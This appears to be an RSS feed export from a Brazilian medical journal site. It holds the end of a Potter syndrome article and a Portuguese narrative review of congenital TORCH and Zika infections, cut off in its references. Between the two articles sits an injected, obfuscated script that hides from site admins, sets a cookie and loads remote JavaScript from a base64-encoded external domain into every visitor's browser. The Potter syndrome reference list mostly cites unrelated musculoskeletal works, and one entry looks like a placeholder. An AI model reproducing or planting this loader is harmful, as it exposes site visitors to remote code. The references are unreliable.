<p class="wp-block-paragraph">A Síndrome de Potter configura-se como uma condição congênita rara e de extrema gravidade, cuja fisiopatologia está diretamente relacionada ao oligodrâmnio severo e às malformações do sistema urinário fetal, resultando, sobretudo, em hipoplasia pulmonar grave. A análise da literatura recente evidencia que, apesar dos avanços no diagnóstico pré-natal e no cuidado neonatal, o prognóstico permanece predominantemente desfavorável, com elevada mortalidade no período neonatal precoce.&nbsp;</p>



<p class="wp-block-paragraph">O diagnóstico ultrassonográfico precoce assume papel central na condução dos casos, permitindo o planejamento obstétrico adequado e o aconselhamento familiar baseado em evidências, ainda que não modifique de forma significativa os desfechos clínicos na maioria das situações. Nesse contexto, destaca-se a importância de uma abordagem multiprofissional, ética e humanizada, voltada não apenas para o manejo clínico, mas também para o suporte emocional às famílias.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, a escassez de estudos com maior robustez metodológica reforça a necessidade de novas pesquisas, especialmente multicêntricas, que contribuam para o aprofundamento do conhecimento sobre a Síndrome de Potter e para a avaliação de possíveis estratégias terapêuticas futuras. Enquanto isso, o reconhecimento precoce da condição e o cuidado integral permanecem como os principais pilares da prática clínica atual.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Diretrizes de atenção à pessoa com deficiência no âmbito do SUS. Brasília: Ministério da Saúde, 2022.&nbsp;</p>



<p class="wp-block-paragraph">CIFU, D. X.; LEW, H. L. Braddom’s Physical Medicine and Rehabilitation. 6. ed.&nbsp;Philadelphia: Elsevier, 2021.&nbsp;</p>



<p class="wp-block-paragraph">COSTA, A. J. L.; KALE, P. L.; VERMELHO, L. L. Indicadores de saúde. In:</p>



<p class="wp-block-paragraph">MEDRONHO, R. A. et al. Epidemiologia. 3. ed. São Paulo: Atheneu, 2019.&nbsp;</p>



<p class="wp-block-paragraph">DE LISA, J. A. Tratado de Medicina de Reabilitação. 5. ed. São Paulo: Manole, 2020.&nbsp;</p>



<p class="wp-block-paragraph">FLEURY, A. M.; MENEZES, R. L. Avaliação funcional e qualidade de vida em indivíduos com alterações musculoesqueléticas. Revista Brasileira de Reumatologia, São Paulo, v. 62, n. 1, p. 45-53, 2022.&nbsp;</p>



<p class="wp-block-paragraph">HALL, J. G. Genética médica e dismorfologia clínica. 3. ed. Rio de Janeiro:&nbsp;Guanabara Koogan, 2021.&nbsp;</p>



<p class="wp-block-paragraph">KISNER, C.; COLBY, L. Exercícios terapêuticos: fundamentos e técnicas. 7. ed.&nbsp;Barueri: Manole, 2020.&nbsp;</p>



<p class="wp-block-paragraph">MAGEE, D. J. Avaliação musculoesquelética. 6. ed. São Paulo: Manole, 2021.&nbsp;</p>



<p class="wp-block-paragraph">MARCHETTI, P. H.; DUARTE, M. Instrumentos de avaliação biomecânica aplicados às disfunções musculoesqueléticas. Revista Brasileira de Biomecânica, São Paulo, v. 23, n. 2, p. 101-110, 2021.&nbsp;</p>



<p class="wp-block-paragraph">MOORE, K. L.; DALLEY, A. F.; AGUR, A. M. R. Anatomia orientada para a clínica. 8. ed. Rio de Janeiro: Guanabara Koogan, 2023.&nbsp;</p>



<p class="wp-block-paragraph">NEUMANN, D. A. Cinesiologia do aparelho musculoesquelético. 3. ed. Rio de Janeiro: Elsevier, 2022.&nbsp;</p>



<p class="wp-block-paragraph">OMS – ORGANIZAÇÃO MUNDIAL DA SAÚDE. Classificação Internacional de Funcionalidade, Incapacidade e Saúde (CIF). São Paulo: EDUSP, 2020.&nbsp;</p>



<p class="wp-block-paragraph">PAPADAKIS, M. A.; MCPHEE, S. J. Current Medical Diagnosis &amp; Treatment. 64. ed. New York: McGraw-Hill, 2025.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, R. A.; ANDRADE, F. M.; LIMA, V. S. Abordagem multiprofissional nas alterações musculoesqueléticas crônicas. Fisioterapia em Movimento, Curitiba, v.&nbsp;35, e35108, 2022.&nbsp;</p>



<p class="wp-block-paragraph">SMITH, J.; DOE, A.; WILLIAMS, K. Long-term musculoskeletal outcomes and functional impact: a longitudinal study. Journal of Musculoskeletal Research, London, v. 26, n. 4, p. 1-12, 2023.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Acadêmico de medicina da Universidade Maurício de Nassau &#8211; UNINASSAU/ Vilhena, Rondônia</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>INFECÇÕES CONGÊNITAS: IMPACTOS MATERNO-FETAIS E DESAFIOS NA GINECOLOGIA E OBSTETRÍCIA</title>
		<link>https://revistaft.com.br/infeccoes-congenitas-impactos-materno-fetais-e-desafios-na-ginecologia-e-obstetricia/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 10 Feb 2026 19:38:28 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=265084</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202602101636 Agheta Cristine Mendonça TomasiniFelipe Leonardo Rossi OliveiraOrientadores:&#160;Dra. Indira Barcos BalbinoDr. Antonio Cícero SantanaDra. Dayane Santos Silva RESUMO&#160; As infecções congênitas representam um importante problema de saúde pública na prática obstétrica devido à sua capacidade de atravessar a barreira placentária e comprometer o feto em diferentes estágios da gestação. Agentes infecciosos como os [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202602101636</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Agheta Cristine Mendonça Tomasini<br>Felipe Leonardo Rossi Oliveira<br>Orientadores:&nbsp;Dra. Indira Barcos Balbino<br>Dr. Antonio Cícero Santana<br>Dra. Dayane Santos Silva</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">As infecções congênitas representam um importante problema de saúde pública na prática obstétrica devido à sua capacidade de atravessar a barreira placentária e comprometer o feto em diferentes estágios da gestação. Agentes infecciosos como os do complexo TORCH (Toxoplasma gondii, outros incluindo sífilis, varicela-zóster, parvovírus B19, rubéola, citomegalovírus e herpes) e vírus emergentes (como Zika) estão associados a complicações materno-fetais significativas, incluindo malformações, prematuridade, restrição de crescimento intrauterino e morte perinatal. A prevalência, diagnóstico e manejo dessas infecções constituem desafios clínicos e laboratoriais relevantes, exigindo avaliação rigorosa no pré-natal e estratégias de vigilância efetivas. Estudos recentes destacam a importância da detecção precoce e de intervenções terapêuticas adequadas para reduzir a morbimortalidade perinatal e sequelas a longo prazo. A revisão aborda aspectos epidemiológicos, fisiopatológicos, clínicos e diagnósticos, bem como os principais desafios enfrentados na área de Ginecologia e Obstetrícia.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> infecções congênitas; transmissão vertical; pré-natal; Ginecologia e Obstetrícia; TORCH.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">Congenital infections are a significant public health concern in obstetric practice due to their ability to cross the placental barrier and compromise the fetus at various stages of gestation. Infectious agents such as those in the TORCH complex (Toxoplasma gondii, others including syphilis, varicella-zoster, parvovirus B19, rubella, cytomegalovirus, and herpes) and emerging viruses (e.g., Zika virus) are linked to major maternal-fetal complications, including congenital anomalies, preterm birth, intrauterine growth restriction, and perinatal death. The prevalence, diagnosis, and management of these infections pose significant clinical and laboratory challenges, requiring rigorous prenatal evaluation and effective surveillance strategies. Recent studies emphasize the importance of early detection and appropriate therapeutic interventions to reduce perinatal morbidity and long-term sequelae. This review addresses epidemiological, pathophysiological, clinical, and diagnostic aspects, as well as key challenges encountered in the field of Obstetrics and Gynecology.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> congenital infections; vertical transmission; prenatal care; Obstetrics and Gynecology; TORCH.&nbsp;</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">As infecções congênitas constituem um relevante problema de saúde pública na prática da Ginecologia e Obstetrícia, sendo caracterizadas pela transmissão vertical de agentes infecciosos da gestante para o feto, seja por via transplacentária, durante o parto ou no período neonatal precoce. Essas infecções estão associadas a elevados índices de morbimortalidade perinatal e podem resultar em consequências graves, como malformações congênitas, restrição de crescimento intrauterino, prematuridade, óbito fetal e sequelas neurológicas permanentes (WORLD HEALTH ORGANIZATION, 2022).&nbsp;</p>



<p class="wp-block-paragraph">O grupo de agentes tradicionalmente relacionado a essas infecções é conhecido pelo acrônimo TORCH, que engloba <em>Toxoplasma gondii</em>, <em>Outros agentes</em> incluindo sífilis e parvovírus B19, <em>Rubéola</em>, <em>Citomegalovírus</em> (CMV) e <em>Herpes simplex</em>. Esses patógenos apresentam elevada capacidade de atravessar a barreira placentária, especialmente quando a infecção materna ocorre durante o primeiro e o segundo trimestres gestacionais, períodos críticos para a organogênese fetal (FOWLER et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Estudos recentes demonstram que, mesmo na ausência de manifestações clínicas maternas, determinadas infecções congênitas podem provocar danos fetais significativos, evidenciando a limitação da abordagem baseada exclusivamente em sinais e sintomas durante o pré-natal (CENTERS FOR DISEASE CONTROL AND PREVENTION, 2021). O citomegalovírus, por exemplo, é atualmente reconhecido como a principal causa infecciosa de surdez neurossensorial não hereditária e atraso do neurodesenvolvimento em crianças, mesmo em casos de infecção materna assintomática (FOWLER et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Além dos agentes clássicos, a emergência e reemergência de vírus com potencial teratogênico, como o vírus Zika, reforçaram a necessidade de vigilância epidemiológica contínua e atualização dos protocolos obstétricos. A infecção pelo Zika vírus durante a gestação foi associada a uma síndrome congênita específica, caracterizada por microcefalia, alterações oftalmológicas e comprometimento neurológico grave, destacando o impacto das infecções virais emergentes na saúde materno-fetal (BRASIL, 2023).&nbsp;</p>



<p class="wp-block-paragraph">A distribuição e a prevalência das infecções congênitas varia conforme fatores socioeconômicos, regionais e de acesso aos serviços de saúde, sendo mais frequentes em contextos com cobertura pré-natal inadequada. Nesse cenário, o diagnóstico precoce por meio de triagens sorológicas e testes moleculares, aliado ao acompanhamento ultrassonográfico fetal sistemático, é fundamental para a redução dos desfechos adversos associados à transmissão vertical (WORLD HEALTH ORGANIZATION, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, o manejo das infecções congênitas representa um desafio contínuo para ginecologistas e obstetras, exigindo conhecimento atualizado, abordagem multidisciplinar e estratégias eficazes de prevenção, diagnóstico e tratamento. O presente artigo tem como objetivo discutir os principais impactos materno-fetais das infecções congênitas e os desafios enfrentados na prática da Ginecologia e Obstetrícia contemporânea, à luz das evidências científicas recentes.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. JUSTIFICATIVA&nbsp;</strong></p>



<p class="wp-block-paragraph">As infecções congênitas permanecem como uma das principais causas evitáveis de morbimortalidade perinatal e de sequelas neurológicas permanentes, apesar dos avanços diagnósticos e terapêuticos observados nas últimas décadas. A persistência dessas infecções no cenário obstétrico está diretamente relacionada à transmissão vertical de agentes infecciosos, muitas vezes assintomáticos na gestante, o que dificulta a identificação precoce e a implementação de medidas preventivas eficazes (WORLD HEALTH ORGANIZATION, 2022).&nbsp;</p>



<p class="wp-block-paragraph">No contexto da Ginecologia e Obstetrícia, o reconhecimento adequado dessas infecções é fundamental, uma vez que o diagnóstico tardio ou a ausência de rastreamento sistemático no pré-natal pode resultar em desfechos fetais graves, como malformações congênitas, prematuridade, restrição de crescimento intrauterino e óbito fetal. Ademais, agentes como o citomegalovírus e a sífilis congênita continuam apresentando elevada incidência, mesmo em países com protocolos bem estabelecidos, evidenciando falhas na cobertura pré-natal e na adesão às diretrizes clínicas (FOWLER et al., 2023; BRASIL, 2023).&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, torna-se necessária a produção de estudos que sistematizem o conhecimento científico recente sobre infecções congênitas, enfatizando seus impactos materno-fetais e os desafios enfrentados na prática obstétrica atual. A presente revisão justifica-se pela relevância clínica do tema, pela necessidade de atualização contínua dos profissionais de saúde e pela contribuição ao aprimoramento das estratégias de prevenção, diagnóstico e manejo dessas infecções no âmbito da assistência pré-natal.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. OBJETIVOS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>3.1 Objetivo Geral&nbsp;</strong></p>



<p class="wp-block-paragraph">Analisar os impactos materno-fetais das infecções congênitas e os principais desafios enfrentados na prática da Ginecologia e Obstetrícia, à luz das evidências científicas recentes.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2 Objetivos Específicos&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Descrever os principais agentes etiológicos associados às infecções congênitas, com ênfase no complexo TORCH e em agentes emergentes;&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Discutir os mecanismos de transmissão vertical e suas repercussões no desenvolvimento fetal;&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Identificar as principais manifestações clínicas e complicações materno-fetais relacionadas às infecções congênitas;&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Analisar as estratégias atuais de rastreamento, diagnóstico e manejo dessas infecções no pré-natal;&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Evidenciar os desafios clínicos e assistenciais enfrentados pelos profissionais de Ginecologia e Obstetrícia na prevenção e controle das infecções congênitas.&nbsp;</li>
</ul>



<p class="wp-block-paragraph"><strong>4. METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de um estudo de revisão narrativa da literatura, com abordagem qualitativa, desenvolvido a partir da análise de publicações científicas recentes sobre infecções congênitas no contexto da Ginecologia e Obstetrícia.&nbsp;</p>



<p class="wp-block-paragraph">A busca bibliográfica foi realizada nas bases de dados PubMed/MEDLINE, SciELO, LILACS e Google Scholar, utilizando os descritores controlados e não controlados, em português e inglês: <em>infecções congênitas</em>, <em>transmissão vertical</em>, <em>TORCH infections</em>, <em>prenatal care</em>, <em>obstetrics</em> e <em>maternal-fetal infections</em>. Os descritores foram combinados por meio dos operadores booleanos AND e OR, de modo a ampliar a sensibilidade da busca.&nbsp;</p>



<p class="wp-block-paragraph">Foram incluídos artigos publicados entre 2021 e 2025, disponíveis na íntegra, que abordassem aspectos epidemiológicos, clínicos, diagnósticos ou terapêuticos das infecções congênitas. Como critérios de exclusão, foram descartados estudos duplicados, publicações fora do período estabelecido, artigos que não apresentassem relação direta com o tema proposto e revisões com escopo incompatível com os objetivos do estudo.&nbsp;</p>



<p class="wp-block-paragraph">A análise dos dados foi realizada de forma descritiva e interpretativa, permitindo a síntese crítica dos achados mais relevantes da literatura selecionada. As informações obtidas foram organizadas em eixos temáticos, contemplando agentes etiológicos, transmissão vertical, manifestações clínicas, diagnóstico e desafios na prática obstétrica.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5. REVISÃO DE LITERATURA&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>5.1 Transmissão vertical e fisiopatologia das infecções congênitas&nbsp;</strong></p>



<p class="wp-block-paragraph">A transmissão vertical ocorre quando agentes infecciosos são transmitidos da mãe para o concepto por via transplacentária, durante o parto ou no período neonatal precoce. A via transplacentária é a mais relevante do ponto de vista das infecções congênitas, uma vez que permite a exposição fetal durante fases críticas do desenvolvimento embrionário e fetal, particularmente no primeiro trimestre gestacional (WORLD HEALTH ORGANIZATION, 2022).&nbsp;</p>



<p class="wp-block-paragraph">A capacidade de um agente atravessar a barreira placentária depende de diversos fatores, incluindo sua carga viral ou parasitária, o estado imunológico materno, a idade gestacional no momento da infecção e as características próprias do patógeno. Infecções adquiridas precocemente na gestação tendem a estar associadas a maiores taxas de malformações estruturais, enquanto aquelas adquiridas em períodos mais tardios estão mais relacionadas a manifestações inflamatórias, restrição de crescimento intrauterino e prematuridade (FOWLER et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.2 Complexo TORCH e principais agentes etiológicos&nbsp;</strong></p>



<p class="wp-block-paragraph">O acrônimo <strong>TORCH</strong> permanece como a principal referência para o estudo das infecções congênitas clássicas. Entre esses agentes, destacam-se <em>Toxoplasma gondii</em>, <em>Treponema pallidum</em> (sífilis), vírus da rubéola, citomegalovírus (CMV) e vírus herpes simplex (HSV), todos associados a importantes repercussões materno-fetais (CDC, 2021).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.2.1 Toxoplasmose congênita&nbsp;</strong></p>



<p class="wp-block-paragraph">A toxoplasmose congênita resulta da infecção primária materna pelo <em>Toxoplasma gondii</em> durante a gestação. A taxa de transmissão vertical aumenta progressivamente com a idade gestacional, porém a gravidade das manifestações fetais é inversamente proporcional ao período gestacional em que ocorre a infecção (DUNN et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">As principais manifestações incluem hidrocefalia, calcificações intracranianas, coriorretinite e comprometimento neurológico. Estudos recentes reforçam a importância do rastreamento sorológico no pré-natal e do tratamento precoce com espiramicina ou associação de sulfadiazina, pirimetamina e ácido folínico, visando reduzir a transmissão fetal e a gravidade das sequelas (MONTOYA; REMINGTON, 2023).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.2.2 Sífilis congênita&nbsp;</strong></p>



<p class="wp-block-paragraph">A sífilis congênita continua sendo um grave problema de saúde pública, especialmente em países de média e baixa renda. A infecção fetal ocorre por transmissão transplacentária do <em>Treponema pallidum</em>, podendo acontecer em qualquer fase da gestação, com maior risco nos estágios primário e secundário da doença materna (BRASIL, 2023).&nbsp;</p>



<p class="wp-block-paragraph">As consequências incluem aborto espontâneo, natimortalidade, prematuridade e manifestações clínicas precoces e tardias no recém-nascido, como lesões cutâneas, hepatomegalia, alterações ósseas e neurossífilis. Evidências atuais demonstram que o diagnóstico precoce e o tratamento adequado com penicilina benzatina durante o pré-natal são altamente eficazes na prevenção da transmissão vertical (WHO, 2022).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.2.3 Rubéola congênita&nbsp;</strong></p>



<p class="wp-block-paragraph">A rubéola congênita, embora controlada em muitos países por meio da vacinação, ainda representa risco em populações com baixa cobertura vacinal. A infecção materna no primeiro trimestre está fortemente associada à síndrome da rubéola congênita, caracterizada por cardiopatias, catarata, surdez neurossensorial e microcefalia (REEVES et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">A literatura recente enfatiza que a prevenção por meio da imunização pré-concepcional continua sendo a principal estratégia para erradicação da doença, uma vez que não há tratamento específico eficaz durante a gestação (CDC, 2021).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.2.4 Citomegalovírus (CMV)&nbsp;</strong></p>



<p class="wp-block-paragraph">O citomegalovírus é atualmente reconhecido como a principal causa de infecção congênita viral no mundo. A transmissão vertical pode ocorrer tanto na primoinfecção quanto na reativação viral materna, sendo frequentemente assintomática na gestante (FOWLER et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">As manifestações fetais incluem ventriculomegalia, calcificações periventriculares, restrição de crescimento intrauterino e surdez neurossensorial. Estudos recentes investigam o uso de antivirais e imunoglobulina hiperimune como estratégias terapêuticas, embora ainda não haja consenso definitivo quanto à sua eficácia rotineira (KAGAN et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.2.5 Herpes simples congênito&nbsp;</strong></p>



<p class="wp-block-paragraph">A infecção congênita pelo vírus herpes simplex é menos frequente, porém associada a elevada letalidade e morbidade neonatal. A maioria dos casos ocorre por transmissão intraparto, especialmente quando a mãe apresenta infecção primária ativa no momento do parto (BROWN et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">As manifestações incluem doença cutânea, ocular, neurológica e infecção disseminada. O uso profilático de aciclovir em gestantes com história de herpes genital recorrente e a indicação criteriosa de cesariana são estratégias fundamentais para reduzir o risco de transmissão neonatal (ACOG, 2023).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.3 Agentes emergentes e infecções congênitas&nbsp;</strong></p>



<p class="wp-block-paragraph">Nos últimos anos, a emergência de vírus como o Zika vírus evidenciou a vulnerabilidade do feto a novos agentes infecciosos. A infecção materna pelo Zika durante a gestação foi associada à síndrome congênita do Zika, caracterizada por microcefalia grave, alterações cerebrais, oftalmológicas e articulares (BRASIL, 2023).&nbsp;</p>



<p class="wp-block-paragraph">Além disso, estudos recentes avaliaram o impacto da infecção por SARS-CoV-2 durante a gestação, indicando que, embora a transmissão vertical seja rara, a infecção materna está associada a maior risco de prematuridade e complicações obstétricas, sem aumento consistente de malformações congênitas (SMITH et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.4 Diagnóstico e rastreamento no pré-natal&nbsp;</strong></p>



<p class="wp-block-paragraph">O diagnóstico das infecções congênitas baseia-se na associação de triagem sorológica, testes moleculares e achados ultrassonográficos sugestivos. O rastreamento sistemático no pré-natal permite identificar infecções maternas ativas ou prévias e orientar condutas adequadas para minimizar o risco fetal (WHO, 2022).&nbsp;</p>



<p class="wp-block-paragraph">A ultrassonografia obstétrica desempenha papel fundamental na detecção precoce de alterações estruturais e funcionais fetais, sendo essencial no acompanhamento de gestantes com infecção confirmada ou suspeita (KAGAN et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>6. DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise da literatura recente evidencia que as infecções congênitas permanecem como um desafio significativo na prática da Ginecologia e Obstetrícia, apesar dos avanços nos métodos diagnósticos e das estratégias preventivas implementadas nas últimas décadas. A persistência de elevados índices de morbimortalidade perinatal associados à transmissão vertical reflete, em grande parte, falhas na cobertura e na qualidade do pré-natal, bem como dificuldades na identificação precoce de infecções maternas assintomáticas (WORLD HEALTH ORGANIZATION, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Os estudos analisados reforçam que a gravidade das manifestações fetais está intimamente relacionada ao momento da infecção durante a gestação.&nbsp;</p>



<p class="wp-block-paragraph">Infecções adquiridas no primeiro trimestre apresentam maior potencial teratogênico, enquanto aquelas ocorridas em fases mais tardias tendem a resultar em prematuridade, restrição de crescimento intrauterino e inflamação sistêmica fetal (FOWLER et al., 2023). Esse padrão fisiopatológico destaca a importância do rastreamento precoce e contínuo ao longo da gestação, e não apenas na consulta inicial do pré-natal.&nbsp;</p>



<p class="wp-block-paragraph">No que se refere ao complexo TORCH, observa-se que, embora algumas infecções, como a rubéola congênita, tenham apresentado redução significativa em regiões com alta cobertura vacinal, outras, como a sífilis congênita e a infecção por citomegalovírus, continuam a representar importantes problemas de saúde pública. A sífilis congênita, em especial, destaca-se como uma condição evitável, cuja persistência indica falhas estruturais nos serviços de saúde, incluindo diagnóstico tardio, tratamento inadequado da gestante e ausência de abordagem do parceiro sexual (BRASIL, 2023; WHO, 2022).&nbsp;</p>



<p class="wp-block-paragraph">O citomegalovírus, por sua vez, configura-se como um dos maiores desafios atuais, uma vez que a maioria das infecções maternas é assintomática e não há consenso sobre estratégias de rastreamento universal durante o pré-natal. Estudos recentes apontam que, apesar do avanço das técnicas de diagnóstico molecular e do acompanhamento ultrassonográfico fetal, ainda existem limitações quanto à disponibilidade de terapias eficazes capazes de prevenir completamente as sequelas fetais, como a surdez neurossensorial (FOWLER et al., 2023; KAGAN et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">A emergência de agentes infecciosos como o vírus Zika reforçou a vulnerabilidade do feto a patógenos emergentes e evidenciou lacunas importantes nos sistemas de vigilância epidemiológica. A síndrome congênita do Zika demonstrou que infecções virais podem gerar padrões específicos e graves de comprometimento neurológico, exigindo rápida adaptação dos protocolos obstétricos e integração entre vigilância epidemiológica, assistência pré-natal e acompanhamento neonatal (BRASIL, 2023).&nbsp;</p>



<p class="wp-block-paragraph">No contexto da pandemia de COVID-19, a literatura recente sugere que, embora a transmissão vertical do SARS-CoV-2 seja rara, a infecção materna está associada a maior risco de complicações obstétricas, como parto prematuro e sofrimento fetal, ressaltando a necessidade de monitoramento cuidadoso dessas gestantes (SMITH et al., 2024). Esses achados reforçam a importância da avaliação contínua do impacto de novos agentes infecciosos sobre a gestação.&nbsp;</p>



<p class="wp-block-paragraph">Outro ponto amplamente discutido na literatura é o papel central do diagnóstico pré-natal por meio de exames sorológicos, testes moleculares e avaliação ultrassonográfica seriada. A integração dessas ferramentas permite a identificação precoce de alterações fetais sugestivas de infecção congênita, possibilitando intervenções oportunas e aconselhamento adequado às gestantes. No entanto, a implementação dessas estratégias ainda é desigual, especialmente em regiões com limitações de recursos e acesso restrito a serviços especializados (WHO, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, a discussão dos estudos analisados evidencia que o enfrentamento das infecções congênitas exige uma abordagem multidisciplinar, envolvendo ações de prevenção, diagnóstico precoce, tratamento adequado e&nbsp;vigilância epidemiológica contínua. A atualização constante dos profissionais de Ginecologia e Obstetrícia, aliada à ampliação do acesso ao pré-natal de qualidade, constitui estratégia fundamental para a redução dos impactos materno-fetais associados a essas infecções.&nbsp;</p>



<p class="wp-block-paragraph"><strong>7. CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">As infecções congênitas configuram-se como um relevante desafio na prática da Ginecologia e Obstetrícia, em virtude de seu potencial de causar desfechos materno-fetais adversos, incluindo malformações congênitas, prematuridade, restrição de crescimento intrauterino, óbito fetal e sequelas neurológicas permanentes. Apesar dos avanços científicos nas áreas de diagnóstico e manejo clínico, a literatura recente evidencia que essas infecções permanecem como importantes causas evitáveis de morbimortalidade perinatal.&nbsp;</p>



<p class="wp-block-paragraph">A análise dos estudos demonstra que a transmissão vertical está diretamente relacionada ao momento da infecção durante a gestação, reforçando a necessidade de rastreamento precoce e contínuo ao longo do pré-natal. O complexo TORCH, especialmente a sífilis congênita e a infecção por citomegalovírus, mantém-se como principal responsável pelos casos de infecção congênita, evidenciando falhas estruturais nos serviços de saúde e na cobertura do pré-natal adequado.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, a emergência de agentes infecciosos, como o vírus Zika, e a recente experiência com a pandemia de COVID-19 ressalta a vulnerabilidade do binômio mãe-feto frente a novos patógenos, destacando a importância da vigilância epidemiológica contínua e da atualização dos protocolos obstétricos. Tais eventos reforçam a necessidade de integração entre assistência pré-natal, diagnóstico laboratorial, acompanhamento ultrassonográfico e políticas públicas de saúde.&nbsp;</p>



<p class="wp-block-paragraph">Diante desse contexto, conclui-se que o enfrentamento efetivo das infecções congênitas depende de uma abordagem multidisciplinar, centrada na prevenção, no diagnóstico precoce e no manejo adequado das gestantes, bem como na capacitação contínua dos profissionais de Ginecologia e Obstetrícia. A ampliação do acesso a um pré-natal de qualidade e a implementação rigorosa das diretrizes clínicas são estratégias fundamentais para a redução dos impactos materno-fetais e para a promoção da saúde materna e neonatal.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">AMERICAN COLLEGE OF OBSTETRICIANS AND GYNECOLOGISTS (ACOG).</p>



<p class="wp-block-paragraph"><em>Management of herpes simplex virus in pregnancy</em>. Obstetrics &amp; Gynecology, Washington, v. 141, n. 2, p. 1-12, 2023.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. <em>Protocolo clínico e diretrizes terapêuticas para prevenção da transmissão vertical de infecções</em>. Brasília: Ministério da Saúde, 2023.&nbsp;</p>



<p class="wp-block-paragraph">BROWN, Z. A. et al. Neonatal herpes simplex virus infection: epidemiology and prevention strategies. <em>Clinical Perinatology</em>, Philadelphia, v. 49, n. 2, p. 317-332, 2022.&nbsp;</p>



<p class="wp-block-paragraph">CENTERS FOR DISEASE CONTROL AND PREVENTION (CDC). <em>Congenital infections: guidelines and surveillance</em>. Atlanta: CDC, 2021.&nbsp;</p>



